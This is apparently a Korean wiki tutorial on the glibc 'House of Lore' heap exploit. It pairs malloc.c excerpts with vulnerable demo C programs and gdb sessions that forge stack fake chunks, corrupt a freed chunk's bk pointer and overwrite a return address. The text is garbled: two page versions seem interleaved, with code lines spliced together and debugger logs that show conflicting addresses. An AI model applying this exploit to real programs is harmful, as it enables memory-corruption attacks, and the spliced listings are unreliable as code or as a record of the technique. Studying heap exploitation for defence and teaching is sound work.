...
Excuse the ads! We need some help to keep our site up.
Include Page 00.Notice 00.Notice
List
Table of Contents outline true exclude List
...
House of Lore
Conditions
- 해당 기술은 다음과 같은 조건이 만족해야만 동작합니다.
- 할당받기를 원하는 영역에 Fake chunk 구조를 가지고 있어야 합니다.
- 공격자에 의해 Small chunk, Large chunk의 할당과 해제가 자유로워야 합니다.
- 공격자에 의해 Freed chunk의 bk영역에 원하는 값을 저장 할 수 있어야 합니다.
Exploit plan
- 다음과 같은 방법으로 공격할 수 있습니다.
- 공격대상을 찾습니다.
- fake chunk 구조를 가지는 Memory 영역
- fake chunk 구조를 저장할 수 있는 Memory 영역
- 다른 크기의 2개의 Heap영역을 할당 받습니다.
- 첫번재 청크를 해제합니다.
- 해제된 첫번째 청크의 bk영역에 원하는 영역의 주소를 저장합니다.
- Fake chunk 영역의 주소 + 0x10 = bk영역에 저장할 값
- 두번째 청크보다 큰 크기의 청크를 할당합니다.
- 해체된 Small chunk를 Small bin에 등록하기 위해서 할당합니다.
- 해제된 청크와 동일한 크기의 Heap을 2개 생성합니다.
- 두번째에 할당된 Heap의 영역은 fake chunk가 저장되었던 영역으로 할당됩니다.
- 공격대상을 찾습니다.
malloc.c - bck->fd != victim
- 아래와 같이 malloc()함수에서 smallbin에 등록된 chunk를 사용할 때 "bck→fd", "victim"의 값이 다른지 확인합니다.
- 값이 다른 경우 Error 메시지를 출력합니다.
"malloc(): smallbin double linked list corrupted"
- 값이 다른 경우 Error 메시지를 출력합니다.
- 해당 조건을 우회하기 위해 Fake chunk가 필요합니다.
- Small bin에 등록된 free chunk의 bk 영역에 Fake chunk의 주소를 저장합니다.(victim→bk)
- Fake chunk는 free chunk 구조를 가져야 합니다.
- Fake chunk의 fd 영역에 Small bin에 등록된 free chunk의 주소를 저장합니다.(bck→ fd)
- House of Lore는 malloc()이 small bin에 해당하는 chunk의 재할당과 small bin에 배치하는 과정을 이용한 공격입니다.
malloc()은 small bin에 등록된 chunk를 사용하기 위해 메모리 할당을 요청한 크기가 small bin범위에 포함되는지 확인합니다.
요청된 크기가 small bin 범위에 포함된다면, 요청된 크기에 해당하는 index를 찾습니다.
그리고 bin[index]가 가지고 있는 값과 bin[index]→bk에 저장된 값을 비교합니다.
bin[index]→bk에 저장된 값을 victim에 저장합니다.
그리고 이 값이 0 인지 확인합니다.
victim에 저장된 값이 0 아니라면 victim→bk 에 저장된 값을 bck에 저장합니다.
그리고 bck->fd의 "victim"의 값이 다른지 확인합니다.
두 값이 같지 않다면 malloc()은 에러 메시지("malloc(): smallbin double linked list corrupted")를 출력되고 프로세스를 종료합니다.
두 값이 같다면 victim->size에 PREV_INUSE를 설정합니다.
그리고 bck가 가지고 있는 값을 bin→bk에 저장되고, bin이 가지고 있는 값을 bck→fd에 저장합니다.
해당 arena가 main arena인지 확인 합니다.
main arena가 아닐 경우 victim→size에 NON_MAIN_ARENA(0x4) flag를 설정합니다.
그리고 할당자는 chunk2mem()을 호출하여 반환할 주소(victim + 2*SIZE_SZ)를 *p에 저장하고, p를 반환합니다.
Code Block | ||||||
---|---|---|---|---|---|---|
| ||||||
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{ | ||||||
Code Block | ||||||
| ||||||
static void * _int_malloc (mstate av, size_t bytes) { ... if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { if (victim == 0) /* initialization check */ malloc_consolidate (av); errstr = "malloc(): smallbin double linked list elsecorrupted"; { goto errout; bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) } { set_inuse_bit_at_offset (victim, nb); errstrbin->bk = "malloc(): smallbin double linked list corrupted"bck; bck->fd = bin; goto errout; if (av != }&main_arena) set_non_main_arena (victim); setcheck_inuse_bit_at_offsetmalloced_chunk (av, victim, nb); #if USE_TCACHE /* While we're here, if we see other chunks of the bin->bk = bck; same size, stash them in the tcache. */ bck->fdsize_t tc_idx = csize2tidx bin(nb); if (tcache && tc_idx < mp_.tcache_bins) { if (av != &main_arena) mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks victim->size |= NON_MAIN_ARENA; over. */ while (tcache->counts[tc_idx] < mp_.tcache_count check_malloced_chunk (av, victim, nb); && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { void *pbck = chunk2mem (victim)tc_victim->bk; alloc_perturb (p, bytes); set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk return= pbck; bck->fd = bin; } tcache_put (tc_victim, tc_idx); } } } ... |
- Fake chunk 구조
Small bin : victim(0x602000) = bk(0x7fffffffe230)->fd(0x602000)
- Fake chunk 1 : victim(0x7fffffffe230) = bk(0x7fffffffe250)->fd(0x7fffffffe230)
Panel | ||
---|---|---|
| ||
Example
Files
Panel |
---|
Source code
해당 함수는 다음과 같은 기능을 합니다.
크기가 다른 Heap 영역을 3개 할당합니다.
- Small bin(128,256), Large(1200)
첫번째 Heap 만 해제를 합니다.
- Stack 영역에 최대 56자의 문자열을 저장 할 수 있습니다.
- 해제된 첫번째 Heap 영역에 값을 저장 할 수 있습니다.
- 해제된 첫번째 Heap과 같은 크기의 Heap을 할당합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(){
char stack[56];
printf("Stack : %p\n", stack);
char *buf1 = malloc(128);
char *buf2 = malloc(256);
printf("buf1 : %p\n", buf1);
printf("buf2 : %p\n", buf2);
free(buf1);
printf("Stack : ");
scanf("%56s",stack);
void *buf3 = malloc(1200);
printf("buf3 : %p\n", buf3);
printf("buf1 : ");
scanf("%16s",buf1);
void *buf4 = malloc(128);
char *buf5 = malloc(128);
printf("buf4 : %p\n", buf4);
printf("buf5 : %p\n", buf5);
printf("buf5 : ");
scanf("%128s",buf5);
} |
Exploit flow
Panel | ||
---|---|---|
| ||
Debugging
- 다음과 같이 Binary를 빌드 합니다.
"-fno-stack-protector" 옵션을 이용해 Canary가 적용되지 않도록 빌드 합니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Documents/def$ gcc -fno-stack-protector -o lore lore.c
lazenca0x0@ubuntu:~/Documents/def$ checksec.sh --file ./lore
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH ./lore
lazenca0x0@ubuntu:~/Documents/def$ |
- 다음과 같이 Break point를 설정합니다.
0x4006c4 - 첫번째 scanf() 호출 후
0x40070d - 두번째 scanf() 호출 후
0x400717 - malloc(128) 호출 후
0x400725 - malloc(128) 호출 후
0x40077b - ret 명령어
Code Block | ||
---|---|---|
| ||
gdb-peda$ b *0x00000000004006c4
Breakpoint 1 at 0x4006c4
gdb-peda$ b *0x000000000040070d
Breakpoint 2 at 0x40070d
gdb-peda$ b *0x0000000000400717
Breakpoint 3 at 0x400717
gdb-peda$ b *0x0000000000400725
Breakpoint 4 at 0x400725
gdb-peda$ b *0x000000000040077b
Breakpoint 5 at 0x40077b |
- Stack 영역에 다음과 같이 Fake chunk를 생성할 수 있습니다.
- 사용자 입력 값으로 0x7fffffffe230 ~ 0x7fffffffe268 영역에 값을 저장할 수 있습니다.
- 해당 영역에 다음과 같은 Fake chunk 구조를 저장합니다.
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
} |
- 할당자는 그 청크의 크기가 small bin범위에 포함되는지 확인합니다.
- 그 청크가 small bin범위에 포함된다면, 해당 청크의 인덱스 찾습니다.
- 그리고 bin[victim_index]가 가지고 있는 값을 bck에 저장합니다.
- bck->fd가 가지고 있는 값을 fwd에 저장합니다.
Code Block | ||||||
---|---|---|---|---|---|---|
| ||||||
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{ |
double linked list를 구현하기 위해 해당 chunk의 bk에 bck가 가지고있는 값을 저장되고, fd에는 fwd가 가지고 있는 값을 저장합니다.
- 해당 chunk의 포인터를 fwd→bk, bck→fd에 저장합니다.
Code Block | ||||||
---|---|---|---|---|---|---|
| ||||||
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim; |
House of Lore는 Stack에 Fake chunk를 작성할 수 있고, Free chunk의 bk의 값을 덮어쓸수 있을 경우 구현이 가능합니다.
공격자는 Fake free chunk를 Stack에 작성하고, Small bin에 해당하는 메모리를 할당합니다.
해당 메모리를 해제하여 이 메모리를 Free chunk로 만듭니다.
새로운 메모리를 할당을 요청하면, Free chunk가 Bins[]에 배치되됩니다.
Fake chunk의 포인터를 Free chunk의 bk에 덮어씁니다.
Small bin에 배치된 chunk의 할당을 malloc()에 요청하면, Fake chunk의 시작 주소가 Bins[]에 배치 됩니다.
그리고 다시 한번 같은 크기의 메모리 할당을 malloc()에 요청하면 Fake chunk의 영역에 해당하는 포인터를 반환합니다.
반환된 포인터는 Stack 메모리 입니다.
House of Lore에서 중요한 것은 Fake chunk의 구조입니다.
이 chunk는 Free chunk의 구조를 가져야 하며, 2개의 fake chunk가 필요합니다.
첫번째 Fake chunk의 포인터를 free chunk(heap에 위치한)의 bk에 저장합니다.
그리고 bins[idx]의 포인터를 첫번째 Fake chunk의 fd에 저장 합니다.
첫번째 free chunk의 bk에 2번째 Fake chunk의 포인터를 저장합니다.
그리고 2번째 fake chunk의 포인터를 첫번째 free chunk의 "bk"에 저장합니다.
이러한 구조는 small bin에 배치된 chunk의 double-linked list가 손상되었는지 확인("bck->fd != victim")을 우회합니다.
예를 들어 다음과 같은 구조에서 victim의 값이 0x7fffffffe230이고 bck→fd의 값이 0x7fffffffe230이기 때문에 검증 조건을 통과하게됩니다.
Panel | ||
---|---|---|
| ||
- 다음은 House of Lore의 흐름입니다.
- Fake chunk를 Stack에 생성되고 free chunk를 생성한 후에 해당 chunk를 small bin에 배치합니다.
- 그리고 fake chunk의 포인터를 free chunk의 "bk"에 저장합니다.
- 그리고 해당 chunk를 재할당 받기 위해 메모리의 할당을 malloc()에 요청하면 할당자는 fake chunk를 small bin에 배치합니다.
- 공격자가 다시 한번 동일한 크기 메모리 할당을 요청하면 할당자는 fake chunk의 메모리을 반환합니다.
Panel | ||
---|---|---|
| ||
Example
- 이 코드는 앞에서 언급한 예와 동일한 코드입니다.
- 크기가 128 바이트, 256 바이트 인 메모리의 할당을 요청합니다.
- 크기가 128byte인 메모리의 해제를 요청한 후, 메모리 할당을 요청합니다.
- fake chunk를 stack에 작성하고 fake chunk의 포인터를 free chunk의 bk에 저장합니다.
- 그리고 크기가 128byte인 메모리 2개의 할당을 요청합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void main(){
unsigned long fake_chunk[56];
fprintf(stderr,"fake_chunk : %p\n", fake_chunk);
unsigned long *buf1 = malloc(128);
unsigned long *buf2 = malloc(256);
fprintf(stderr,"buf1 : %p\n", buf1);
fprintf(stderr,"buf2 : %p\n", buf2);
free(buf1);
void *buf3 = malloc(1200);
fprintf(stderr,"buf3 : %p\n", buf3);
fake_chunk[2] = (unsigned long)buf1 - 0x10;
fake_chunk[3] = (unsigned long)&fake_chunk[4];
fake_chunk[6] = (unsigned long)fake_chunk;
buf1[1] = (unsigned long)fake_chunk;
void *buf4 = malloc(128);
char *buf5 = malloc(128);
fprintf(stderr,"buf4 : %p\n", buf4);
fprintf(stderr,"buf5 : %p\n", buf5);
fprintf(stderr,"buf5 : ");
read(STDIN_FILENO,buf5, 128);
} |
- 해제된 chunk가 small bin에 배치되는 과정을 0x40079c에서 확인합니다.
- Fake chunk의 구조를 0x400816에서 확인합니다.
- 해당 chunk의 포인터가 small bin에 배치된 후 재할당되는 포인터를 0x40081e, 0x40082f에서 확인합니다.
- 반환받은 메모리를 사용할 수 있는지 0x4008ad에서 확인합니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~$ gcc -o house_of_lore house_of_lore.c
lazenca0x0@ubuntu:~$ gdb -q ./house_of_lore
Reading symbols from ./house_of_lore...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x00000000004006f6 <+0>: push rbp
0x00000000004006f7 <+1>: mov rbp,rsp
0x00000000004006fa <+4>: sub rsp,0x200
0x0000000000400701 <+11>: mov rax,QWORD PTR fs:0x28
0x000000000040070a <+20>: mov QWORD PTR [rbp-0x8],rax
0x000000000040070e <+24>: xor eax,eax
0x0000000000400710 <+26>: mov rax,QWORD PTR [rip+0x200949] # 0x601060 <stderr@@GLIBC_2.2.5>
0x0000000000400717 <+33>: lea rdx,[rbp-0x1d0]
0x000000000040071e <+40>: mov esi,0x400954
0x0000000000400723 <+45>: mov rdi,rax
0x0000000000400726 <+48>: mov eax,0x0
0x000000000040072b <+53>: call 0x4005c0 <fprintf@plt>
0x0000000000400730 <+58>: mov edi,0x80
0x0000000000400735 <+63>: call 0x4005d0 <malloc@plt>
0x000000000040073a <+68>: mov QWORD PTR [rbp-0x1f8],rax
0x0000000000400741 <+75>: mov edi,0x100
0x0000000000400746 <+80>: call 0x4005d0 <malloc@plt>
0x000000000040074b <+85>: mov QWORD PTR [rbp-0x1f0],rax
0x0000000000400752 <+92>: mov rax,QWORD PTR [rip+0x200907] # 0x601060 <stderr@@GLIBC_2.2.5>
0x0000000000400759 <+99>: mov rdx,QWORD PTR [rbp-0x1f8]
0x0000000000400760 <+106>: mov esi,0x400965
0x0000000000400765 <+111>: mov rdi,rax
0x0000000000400768 <+114>: mov eax,0x0
0x000000000040076d <+119>: call 0x4005c0 <fprintf@plt>
0x0000000000400772 <+124>: mov rax,QWORD PTR [rip+0x2008e7] # 0x601060 <stderr@@GLIBC_2.2.5>
0x0000000000400779 <+131>: mov rdx,QWORD PTR [rbp-0x1f0]
0x0000000000400780 <+138>: mov esi,0x400970
0x0000000000400785 <+143>: mov rdi,rax
0x0000000000400788 <+146>: mov eax,0x0
0x000000000040078d <+151>: call 0x4005c0 <fprintf@plt>
0x0000000000400792 <+156>: mov rax,QWORD PTR [rbp-0x1f8]
0x0000000000400799 <+163>: mov rdi,rax
0x000000000040079c <+166>: call 0x400580 <free@plt>
0x00000000004007a1 <+171>: mov edi,0x4b0
0x00000000004007a6 <+176>: call 0x4005d0 <malloc@plt>
0x00000000004007ab <+181>: mov QWORD PTR [rbp-0x1e8],rax
0x00000000004007b2 <+188>: mov rax,QWORD PTR [rip+0x2008a7] # 0x601060 <stderr@@GLIBC_2.2.5>
0x00000000004007b9 <+195>: mov rdx,QWORD PTR [rbp-0x1e8]
0x00000000004007c0 <+202>: mov esi,0x40097b
0x00000000004007c5 <+207>: mov rdi,rax
0x00000000004007c8 <+210>: mov eax,0x0
0x00000000004007cd <+215>: call 0x4005c0 <fprintf@plt>
0x00000000004007d2 <+220>: mov rax,QWORD PTR [rbp-0x1f8]
0x00000000004007d9 <+227>: sub rax,0x10
0x00000000004007dd <+231>: mov QWORD PTR [rbp-0x1c0],rax
0x00000000004007e4 <+238>: lea rax,[rbp-0x1d0]
0x00000000004007eb <+245>: add rax,0x20
0x00000000004007ef <+249>: mov QWORD PTR [rbp-0x1b8],rax
0x00000000004007f6 <+256>: lea rax,[rbp-0x1d0]
0x00000000004007fd <+263>: mov QWORD PTR [rbp-0x1a0],rax
0x0000000000400804 <+270>: mov rax,QWORD PTR [rbp-0x1f8]
0x000000000040080b <+277>: lea rdx,[rax+0x8]
0x000000000040080f <+281>: lea rax,[rbp-0x1d0]
0x0000000000400816 <+288>: mov QWORD PTR [rdx],rax
0x0000000000400819 <+291>: mov edi,0x80
0x000000000040081e <+296>: call 0x4005d0 <malloc@plt>
0x0000000000400823 <+301>: mov QWORD PTR [rbp-0x1e0],rax
0x000000000040082a <+308>: mov edi,0x80
0x000000000040082f <+313>: call 0x4005d0 <malloc@plt>
0x0000000000400834 <+318>: mov QWORD PTR [rbp-0x1d8],rax
0x000000000040083b <+325>: mov rax,QWORD PTR [rip+0x20081e] # 0x601060 <stderr@@GLIBC_2.2.5>
0x0000000000400842 <+332>: mov rdx,QWORD PTR [rbp-0x1e0]
0x0000000000400849 <+339>: mov esi,0x400986
0x000000000040084e <+344>: mov rdi,rax
0x0000000000400851 <+347>: mov eax,0x0
0x0000000000400856 <+352>: call 0x4005c0 <fprintf@plt>
0x000000000040085b <+357>: mov rax,QWORD PTR [rip+0x2007fe] # 0x601060 <stderr@@GLIBC_2.2.5>
0x0000000000400862 <+364>: mov rdx,QWORD PTR [rbp-0x1d8]
0x0000000000400869 <+371>: mov esi,0x400991
0x000000000040086e <+376>: mov rdi,rax
0x0000000000400871 <+379>: mov eax,0x0
0x0000000000400876 <+384>: call 0x4005c0 <fprintf@plt>
0x000000000040087b <+389>: mov rax,QWORD PTR [rip+0x2007de] # 0x601060 <stderr@@GLIBC_2.2.5>
0x0000000000400882 <+396>: mov rcx,rax
0x0000000000400885 <+399>: mov edx,0x7
0x000000000040088a <+404>: mov esi,0x1
0x000000000040088f <+409>: mov edi,0x40099c
0x0000000000400894 <+414>: call 0x4005e0 <fwrite@plt>
0x0000000000400899 <+419>: mov rax,QWORD PTR [rbp-0x1d8]
0x00000000004008a0 <+426>: mov edx,0x80
0x00000000004008a5 <+431>: mov rsi,rax
0x00000000004008a8 <+434>: mov edi,0x0
0x00000000004008ad <+439>: call 0x4005a0 <read@plt>
0x00000000004008b2 <+444>: nop
0x00000000004008b3 <+445>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004008b7 <+449>: xor rax,QWORD PTR fs:0x28
0x00000000004008c0 <+458>: je 0x4008c7 <main+465>
0x00000000004008c2 <+460>: call 0x400590 <__stack_chk_fail@plt>
0x00000000004008c7 <+465>: leave
0x00000000004008c8 <+466>: ret
End of assembler dump.
gdb-peda$ b *0x000000000040079c
Breakpoint 1 at 0x40079c
gdb-peda$ b *0x0000000000400816
Breakpoint 2 at 0x400816
gdb-peda$ b *0x000000000040081e
Breakpoint 3 at 0x40081e
gdb-peda$ b *0x000000000040082f
Breakpoint 4 at 0x40082f
gdb-peda$ b *0x00000000004008ad
Breakpoint 5 at 0x4008ad
gdb-peda$
|
프로그램은 2개의 메모리를 할당받았습니다.
첫번째 메모리의 포인터는 0x602010이고 크기는 128byte입니다.
해당 메모리를 해제하면 free chunk가 됩니다.
그리고 해당 chunk는 unsorted bin에 배치됩니다.
메모리가 할당되면 free chunk(0x602000)는 bins[16], bins[17]에 배치됩니다.
Code Block | |||
---|---|---|---|
| |||
Panel | |||
| |||
0x7fffffffe230 | Fake chunk 1 | 0x4141414141414141 | 0x4141414141414141 |
0x7fffffffe240 | 0x602000 - fd(Forward pointer) | 0x7fffffffe250 - bk(Backward pointer) | |
0x7fffffffe250 | Fake chunk 2 | 0x4141414141414141 | 0x4141414141414141 | 0x7fffffffe260 | 0x00007fffffffe230 - fd(Forward pointer) |
Code Block | |||
| |||
gdb-peda$ r Starting program: /home/lazenca0x0/Documents/def/house_of_lore Stackfake_chunk : 0x7fffffffe2300x7fffffffe2a0 buf1 : 0x602010 buf2 : 0x6020a0 Stack : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x00000000004006c40x000000000040079c in main () gdb-peda$ x/8gxi 0x7fffffffe230 0x7fffffffe230: 0x4141414141414141 0x4141414141414141 0x7fffffffe240: 0x4141414141414141 0x4141414141414141 0x7fffffffe250: 0x4141414141414141 0x4141414141414141 0x7fffffffe260: 0x4141414141414141 0x0000000000000000 gdb-peda$ set *0x7fffffffe240 = 0x602000 gdb-peda$ set *0x7fffffffe244 = 0x00000000$rip => 0x40079c <main+166>: call 0x400580 <free@plt> gdb-peda$ i r rdi rdi 0x602010 0x602010 gdb-peda$ set *0x7fffffffe248 = 0x7fffffffe250p main_arena.bins[0] $1 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88> gdb-peda$ set *0x7fffffffe24c = 0x00007fffni 0x00000000004007a1 in main () gdb-peda$ set *0x7fffffffe260p main_arena.bins[0] $2 = 0x7fffffffe230(mchunkptr) 0x602000 gdb-peda$ set *0x7fffffffe264 = 0x00007fffni 0x00000000004007a6 in main () gdb-peda$ x/8gxi 0x7fffffffe230 0x7fffffffe230: 0x4141414141414141 0x4141414141414141 0x7fffffffe240: 0x0000000000602000 0x00007fffffffe250 0x7fffffffe250: 0x4141414141414141 0x4141414141414141 0x7fffffffe260: 0x00007fffffffe230 0x0000000000000000 gdb-peda$ |
...
Free chunk가 Unsorted bin에서 Small bin영역으로 이동합니다.
...
Unsorted bin : 0x602000 → 0x7ffff7dd37b8(main_arena.top 영역)
...
Small bin(main_arena.bins[16],fd) : 0x7ffff7dd3838 → 0x602000
...
$rip => 0x4007a6 <main+176>: call 0x4005d0 <malloc@plt> gdb-peda$ ni 0x00000000004007ab in main () gdb-peda$ p main_arena.bins[ |
...
Code Block | ||
---|---|---|
| ||
gdb-peda$ x/2gx 0x602010 0x602010: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 0] $7 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88> gdb-peda$ p main_arena.bins[116] $1$8 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[1617] $2$9 = (mchunkptr) 0x7ffff7dd3838 <main_arena+216>0x602000 gdb-peda$ p main_arena.bins[17] $3 = (mchunkptr) 0x7ffff7dd3838 <main_arena+216> |
- 프로그램은 Fake chunk를 0x7fffffffe2a0에 작성합니다.
- 첫번째 Fake chunk의 포인터는 0x7fffffffe2a0이고, 해당 chunk의 fd는 0x602000, bk는 0x7fffffffe2c0입니다.
- 두번째 Fake chunk의 포인터는 0x7fffffffe2c0이고, 해당 chunk의 fd는 0x00007fffffffe2a0입니다.
- victim의 값이 0x7fffffffe2a0이고 bck→fd의 값이 0x7fffffffe2a0이기 때문에 검증 조건을 통과하게됩니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c Continuing. buf3 : 0x6021b0 buf1 : BBBBBBBBBBBBBBBB Breakpoint 2, 0x000000000040070d0x0000000000400816 in main () gdb-peda$ p main_arena.bins[1] $4 = (mchunkptr) 0x7ffff7dd37b8 <main_arena+88> gdb-peda$ x/gx 0x7ffff7dd37b8 0x7ffff7dd37b8 <main_arena+88>: 0x0000000000602660 gdb-peda$ p main_arena.top $5 = (mchunkptr) 0x602660 gdb-peda$ p main_arena.bins[16] $6 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[17] $7 = (mchunkptr) 0x602000x/3i $rip => 0x400816 <main+288>: mov QWORD PTR [rdx],rax 0x400819 <main+291>: mov edi,0x80 0x40081e <main+296>: call 0x4005d0 <malloc@plt> gdb-peda$ i r rax rax 0x7fffffffe2a0 0x7fffffffe2a0 gdb-peda$ x/2gx 0x602010 0x602010: 0x4242424242424242 0x4242424242424242 gdb-peda$ set *0x602018 = 0x7fffffffe230 gdb-peda$ set *0x60201c = 0x00007fff8gx 0x7fffffffe2a0 0x7fffffffe2a0: 0x0000000000000000 0x0000000000000000 0x7fffffffe2b0: 0x0000000000602000 0x00007fffffffe2c0 0x7fffffffe2c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe2d0: 0x00007fffffffe2a0 0x0000000000000000 gdb-peda$ x/2gx 0x6020104gx 0x0000000000602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x42424242424242420x00007ffff7dd1bf8 0x00007fffffffe230 gdb-peda$ 0x00007ffff7dd1bf8 |
- fake chunk를 작성한 후에 해당 chunk의 포인터를 small bin에 등록하기 위해 메모리 할당을 요청합니다.
- malloc()으로 부터 메모리를 할당 받으면,
- 첫번째 할당 받은 Heap 영역은 buf1영역을 재할당 받았습니다.
Small bin에 등록된 영역을 사용했으며, Small bin에 변화가 발생합니다.
- Small bin(main_arena.bins[17],bk) : 0x602000 → 0x7fffffffe230
- 두번째 할당 받은 Heap 영역은 Stack 영역을 할당 받았습니다.Small bin( main_arena.bins[17],bk) 영역에 저장된 영역을 사용합니다.
- 0x7fffffffe230 + 0x10 = 0x7fffffffe240 에 Fake chunk가 배치됩니다.
Code Block | |||
---|---|---|---|
| |||
gdb-peda$ c Continuing. Breakpoint 3, 0x000000000040081e in main () gdb-peda$ x/i $rip => 0x40081e <main+296>: call 0x4005d0 <malloc@plt> gdb-peda$ i r rdi rdi 0x80 0x80gdb-peda$ c Continuing. Breakpoint 3, 0x0000000000400717 in main () gdb-peda$ i r rax rax 0x602010 0x602010p main_arena.bins[16] $11 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[17] $12 = (mchunkptr) 0x602000 gdb-peda$ ni gdb-peda$ p main_arena.bins[16] $8$14 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[17] $15 = (mchunkptr) 0x7fffffffe2a0 |
- 프로그램은 main_arena.bins[17]에 등록된 chunk를 재할당 받기위해 크기가 128byte인 메모리의 할당을 요청합니다.
- 할당자는 small bin에 사용가능한 chunk가 있다고 판단하고, main_arena.bins[17]에 등록된 chunk를 재할당 합니다.
- 재할당 된 chunk의 포인터(0x7fffffffe2b0)는 Fake chunk의 영역입니다.
Code Block | ||
---|---|---|
| ||
$9 = (mchunkptr) 0x7fffffffe230 gdb-peda$ c Continuing. Breakpoint 4, 0x00000000004007250x000000000040082f in main () () gdb-peda$ x/i $rip => 0x40082f <main+313>: call 0x4005d0 <malloc@plt> gdb-peda$ i r raxrdi raxrdi 0x7fffffffe2400x80 0x7fffffffe2400x80 gdb-peda$ p main_arena.bins[17] $10 = (mchunkptr) 0x7fffffffe250 |
- 다음과 같이 할당 받은 공간에 값을 저장해 Return address를 덮어쓸 수 있습니다.
- Return address 영역을 덮어썻기 때문에 "Segmentation fault." 에러가 발생하게 됩니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c Continuing. buf4 : 0x602010 buf5 : 0x7fffffffe240 buf5 : CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC Breakpoint 5, 0x000000000040077b in main ()ni 0x0000000000400834 in main () gdb-peda$ p main_arena.bins[16] $17 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[17] $18 = (mchunkptr) 0x7fffffffe2c0 gdb-peda$ i r rsp rsp rax rax 0x7fffffffe2b0 0x7fffffffe2b0 gdb-peda$ 0x7fffffffe298 0x7fffffffe298 gdb-peda$ x/gx 0x7fffffffe298 0x7fffffffe298:x/6gx 0x7fffffffe2b0 0x7fffffffe2b0: 0x00007ffff7dd1bf8 0x00007fffffffe2c0 0x7fffffffe2c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe2d0: 0x00007ffff7dd1bf8 0x0000000000000000 gdb-peda$ |
- 공격자는 반환된 fake chunk의 포인터에 데이터를 저장할 수 있습니다.
- 이는 상황에 따라 프로그램의 흐름도 변경할 수 있다는 것입니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c Continuing. buf4 : 0x602010 buf5 : 0x7fffffffe2b0 buf5 : Breakpoint 5, 0x00000000004008ad 0x4343434343434343 gdb-peda$ ni Program received signal SIGSEGV, Segmentation fault. 0x000000000040077b in main () gdb-peda$ bt #0 0x000000000040077b in main () #1 0x4343434343434343 in ?? () #2 0x4343434343434343 in ?? () #3 0x4343434343434343 in ?? () #4 0x4343434343434343 in ?? () #5 0x4343434343434343 in ?? () #6 0x0000000000000000 in ?? ()gdb-peda$ x/i $rip => 0x4008ad <main+439>: call 0x4005a0 <read@plt> gdb-peda$ i r rsi rsi 0x7fffffffe2b0 0x7fffffffe2b0 gdb-peda$ x/4gx 0x7fffffffe2b0 0x7fffffffe2b0: 0x00007ffff7dd1bf8 0x00007fffffffe2c0 0x7fffffffe2c0: 0x0000000000000000 0x0000000000000000 gdb-peda$ ni AAAAAAAAAAAAAAAA 0x00000000004008b2 in main () gdb-peda$ x/4gx 0x7fffffffe2b0 0x7fffffffe2b0: 0x4141414141414141 0x4141414141414141 0x7fffffffe2c0: 0x000000000000000a 0x0000000000000000 gdb-peda$ |
Related information
...